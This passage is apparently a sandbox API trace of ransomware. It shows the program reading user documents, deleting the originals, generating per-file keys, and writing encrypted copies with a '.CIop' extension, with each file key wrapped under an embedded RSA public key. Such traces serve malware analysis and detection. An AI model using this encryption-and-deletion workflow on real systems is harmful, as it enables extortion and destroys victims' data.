MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0091.279] lstrcpyW (in: lpString1=0x306f368, lpString2="s9_oB4RJJAVSDjPCS.pdf" | out: lpString1="s9_oB4RJJAVSDjPCS.pdf") returned="s9_oB4RJJAVSDjPCS.pdf" [0091.279] lstrcpyW (in: lpString1=0x306f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\" [0091.279] SetErrorMode (uMode=0x1) returned 0x1 [0091.279] wsprintfW (in: param_1=0x306eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\s9_oB4RJJAVSDjPCS.pdf") returned 117 [0091.279] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\s9_oB4RJJAVSDjPCS.pdf", dwFileAttributes=0x20) returned 1 [0091.279] StrStrW (lpFirst="s9_oB4RJJAVSDjPCS.pdf", lpSrch=".CIop") returned 0x0 [0091.279] wsprintfW (in: param_1=0x306e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\s9_oB4RJJAVSDjPCS.pdf.CIop") returned 122 [0091.279] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\s9_oB4RJJAVSDjPCS.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\-3ostnyb\\7hk2lc8byx_mxaozre\\s9_ob4rjjavsdjpcs.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x444 [0091.280] ReadFile (in: hFile=0x444, lpBuffer=0x612918, nNumberOfBytesToRead=0x529, lpNumberOfBytesRead=0x306e5e8, lpOverlapped=0x0 | out: lpBuffer=0x612918*, lpNumberOfBytesRead=0x306e5e8*=0x529, lpOverlapped=0x0) returned 1 [0091.280] CloseHandle (hObject=0x444) returned 1 [0091.280] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\s9_oB4RJJAVSDjPCS.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\-3ostnyb\\7hk2lc8byx_mxaozre\\s9_ob4rjjavsdjpcs.pdf")) returned 1 [0091.281] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x3070000 [0091.281] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x3080000 [0091.281] SetErrorMode (uMode=0x1) returned 0x1 [0091.281] CryptAcquireContextW (in: phProv=0x306e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x306e5b8*=0x613b38) returned 1 [0091.284] CryptGenKey (in: hProv=0x613b38, Algid=0x1, dwFlags=0x4000, phKey=0x306e5bc | out: phKey=0x306e5bc*=0x5c37d0) returned 1 [0091.466] CryptExportKey (in: hKey=0x5c37d0, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x306e5ec | out: pbData=0x0*, pdwDataLen=0x306e5ec*=0x94) returned 1 [0091.466] CryptExportKey (in: hKey=0x5c37d0, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x3080000, pdwDataLen=0x306e5ec | out: pbData=0x3080000*, pdwDataLen=0x306e5ec*=0x94) returned 1 [0091.466] CryptDestroyKey (hKey=0x5c37d0) returned 1 [0091.466] CryptReleaseContext (hProv=0x613b38, dwFlags=0x0) returned 1 [0091.466] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\s9_oB4RJJAVSDjPCS.pdf.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\-3ostnyb\\7hk2lc8byx_mxaozre\\s9_ob4rjjavsdjpcs.pdf.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x434 [0091.466] WriteFile (in: hFile=0x434, lpBuffer=0x612918*, nNumberOfBytesToWrite=0x529, lpNumberOfBytesWritten=0x306e5d8, lpOverlapped=0x0 | out: lpBuffer=0x612918*, lpNumberOfBytesWritten=0x306e5d8*=0x529, lpOverlapped=0x0) returned 1 [0091.467] SetFilePointer (in: hFile=0x434, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x529 [0091.467] WriteFile (in: hFile=0x434, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x306e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x306e5d8*=0x7, lpOverlapped=0x0) returned 1 [0091.467] SetFilePointer (in: hFile=0x434, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x530 [0091.467] SetErrorMode (uMode=0x1) returned 0x1 [0091.467] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0091.467] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x306d5b8, pcbBinary=0x306d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x306d5b8, pcbBinary=0x306d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0091.467] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x306d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x306d5a0, pcbStructInfo=0x306d598 | out: pvStructInfo=0x306d5a0, pcbStructInfo=0x306d598) returned 1 [0091.467] CryptAcquireContextW (in: phProv=0x306d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x306d5a8*=0x613b38) returned 1 [0091.467] CryptImportPublicKeyInfoEx (in: hCryptProv=0x613b38, dwCertEncodingType=0x1, pInfo=0x681820, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x306d5b0 | out: phKey=0x306d5b0*=0x5c3890) returned 1 [0091.467] CryptEncrypt (in: hKey=0x5c3890, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x306d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x306d5b4*=0x80) returned 1 [0091.468] CryptEncrypt (in: hKey=0x5c3890, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x613cd0*, pdwDataLen=0x306d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x613cd0*, pdwDataLen=0x306d5a4*=0x80) returned 1 [0091.468] WriteFile (in: hFile=0x434, lpBuffer=0x613cd0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x306e5d8, lpOverlapped=0x0 | out: lpBuffer=0x613cd0*, lpNumberOfBytesWritten=0x306e5d8*=0x80, lpOverlapped=0x0) returned 1 [0091.468] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.468] VirtualFree (lpAddress=0x3070000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.468] VirtualFree (lpAddress=0x3080000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.468] CloseHandle (hObject=0x434) returned 1 [0091.469] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\s9_oB4RJJAVSDjPCS.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\-3ostnyb\\7hk2lc8byx_mxaozre\\s9_ob4rjjavsdjpcs.pdf")) returned 0 Thread: id = 73 os_tid = 0xd0 [0091.498] lstrcpyA (in: lpString1=0x2f0e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0091.498] lstrcpyW (in: lpString1=0x2f0f368, lpString2="UmcQX7d.pptx" | out: lpString1="UmcQX7d.pptx") returned="UmcQX7d.pptx" [0091.498] lstrcpyW (in: lpString1=0x2f0f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\" [0091.498] SetErrorMode (uMode=0x1) returned 0x1 [0091.498] wsprintfW (in: param_1=0x2f0eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\UmcQX7d.pptx") returned 108 [0091.498] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\UmcQX7d.pptx", dwFileAttributes=0x20) returned 1 [0091.498] StrStrW (lpFirst="UmcQX7d.pptx", lpSrch=".CIop") returned 0x0 [0091.498] wsprintfW (in: param_1=0x2f0e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\UmcQX7d.pptx.CIop") returned 113 [0091.498] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\UmcQX7d.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\-3ostnyb\\7hk2lc8byx_mxaozre\\umcqx7d.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x44c [0091.499] ReadFile (in: hFile=0x44c, lpBuffer=0x6285d8, nNumberOfBytesToRead=0x98cc, lpNumberOfBytesRead=0x2f0e5e8, lpOverlapped=0x0 | out: lpBuffer=0x6285d8*, lpNumberOfBytesRead=0x2f0e5e8*=0x98cc, lpOverlapped=0x0) returned 1 [0091.500] CloseHandle (hObject=0x44c) returned 1 [0091.500] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\UmcQX7d.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\-3ostnyb\\7hk2lc8byx_mxaozre\\umcqx7d.pptx")) returned 1 [0091.501] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2f10000 [0091.501] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2f20000 [0091.501] SetErrorMode (uMode=0x1) returned 0x1 [0091.501] CryptAcquireContextW (in: phProv=0x2f0e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x2f0e5b8*=0x613de0) returned 1 [0091.503] CryptGenKey (in: hProv=0x613de0, Algid=0x1, dwFlags=0x4000, phKey=0x2f0e5bc | out: phKey=0x2f0e5bc*=0x5c3550) returned 1 [0091.552] CryptExportKey (in: hKey=0x5c3550, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x2f0e5ec | out: pbData=0x0*, pdwDataLen=0x2f0e5ec*=0x94) returned 1 [0091.552] CryptExportKey (in: hKey=0x5c3550, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2f20000, pdwDataLen=0x2f0e5ec | out: pbData=0x2f20000*, pdwDataLen=0x2f0e5ec*=0x94) returned 1 [0091.552] CryptDestroyKey (hKey=0x5c3550) returned 1 [0091.552] CryptReleaseContext (hProv=0x613de0, dwFlags=0x0) returned 1 [0091.552] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\UmcQX7d.pptx.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\-3ostnyb\\7hk2lc8byx_mxaozre\\umcqx7d.pptx.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x44c [0091.553] WriteFile (in: hFile=0x44c, lpBuffer=0x6285d8*, nNumberOfBytesToWrite=0x98cc, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x6285d8*, lpNumberOfBytesWritten=0x2f0e5d8*=0x98cc, lpOverlapped=0x0) returned 1 [0091.554] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x98cc [0091.554] WriteFile (in: hFile=0x44c, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x2f0e5d8*=0x7, lpOverlapped=0x0) returned 1 [0091.554] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x98d3 [0091.554] SetErrorMode (uMode=0x1) returned 0x1 [0091.554] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0091.554] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0091.554] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x2f0d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598 | out: pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598) returned 1 [0091.554] CryptAcquireContextW (in: phProv=0x2f0d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2f0d5a8*=0x613f78) returned 1 [0091.554] CryptImportPublicKeyInfoEx (in: hCryptProv=0x613f78, dwCertEncodingType=0x1, pInfo=0x6826c0, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x2f0d5b0 | out: phKey=0x2f0d5b0*=0x5c3750) returned 1 [0091.554] CryptEncrypt (in: hKey=0x5c3750, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x80) returned 1 [0091.554] CryptEncrypt (in: hKey=0x5c3750, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x613d58*, pdwDataLen=0x2f0d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x613d58*, pdwDataLen=0x2f0d5a4*=0x80) returned 1 [0091.555] WriteFile (in: hFile=0x44c, lpBuffer=0x613d58*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x613d58*, lpNumberOfBytesWritten=0x2f0e5d8*=0x80, lpOverlapped=0x0) returned 1 [0091.555] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.555] VirtualFree (lpAddress=0x2f10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.555] VirtualFree (lpAddress=0x2f20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.555] CloseHandle (hObject=0x44c) returned 1 [0091.556] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\UmcQX7d.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\-3ostnyb\\7hk2lc8byx_mxaozre\\umcqx7d.pptx")) returned 0 Thread: id = 74 os_tid = 0xa90 [0091.578] lstrcpyA (in: lpString1=0x2f0e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0091.578] lstrcpyW (in: lpString1=0x2f0f368, lpString2="XJ2OD9lQq0BG.docx" | out: lpString1="XJ2OD9lQq0BG.docx") returned="XJ2OD9lQq0BG.docx" [0091.578] lstrcpyW (in: lpString1=0x2f0f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\" [0091.578] SetErrorMode (uMode=0x1) returned 0x1 [0091.578] wsprintfW (in: param_1=0x2f0eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\XJ2OD9lQq0BG.docx") returned 113 [0091.578] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\XJ2OD9lQq0BG.docx", dwFileAttributes=0x20) returned 1 [0091.579] StrStrW (lpFirst="XJ2OD9lQq0BG.docx", lpSrch=".CIop") returned 0x0 [0091.579] wsprintfW (in: param_1=0x2f0e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\XJ2OD9lQq0BG.docx.CIop") returned 118 [0091.579] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\XJ2OD9lQq0BG.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\-3ostnyb\\7hk2lc8byx_mxaozre\\xj2od9lqq0bg.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0091.579] ReadFile (in: hFile=0x424, lpBuffer=0x6285d8, nNumberOfBytesToRead=0x485c, lpNumberOfBytesRead=0x2f0e5e8, lpOverlapped=0x0 | out: lpBuffer=0x6285d8*, lpNumberOfBytesRead=0x2f0e5e8*=0x485c, lpOverlapped=0x0) returned 1 [0091.580] CloseHandle (hObject=0x424) returned 1 [0091.580] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\XJ2OD9lQq0BG.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\-3ostnyb\\7hk2lc8byx_mxaozre\\xj2od9lqq0bg.docx")) returned 1 [0091.581] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2f10000 [0091.581] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2f20000 [0091.581] SetErrorMode (uMode=0x1) returned 0x1 [0091.581] CryptAcquireContextW (in: phProv=0x2f0e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x2f0e5b8*=0x613de0) returned 1 [0091.583] CryptGenKey (in: hProv=0x613de0, Algid=0x1, dwFlags=0x4000, phKey=0x2f0e5bc | out: phKey=0x2f0e5bc*=0x5c37d0) returned 1 [0091.611] CryptExportKey (in: hKey=0x5c37d0, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x2f0e5ec | out: pbData=0x0*, pdwDataLen=0x2f0e5ec*=0x94) returned 1 [0091.611] CryptExportKey (in: hKey=0x5c37d0, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2f20000, pdwDataLen=0x2f0e5ec | out: pbData=0x2f20000*, pdwDataLen=0x2f0e5ec*=0x94) returned 1 [0091.611] CryptDestroyKey (hKey=0x5c37d0) returned 1 [0091.611] CryptReleaseContext (hProv=0x613de0, dwFlags=0x0) returned 1 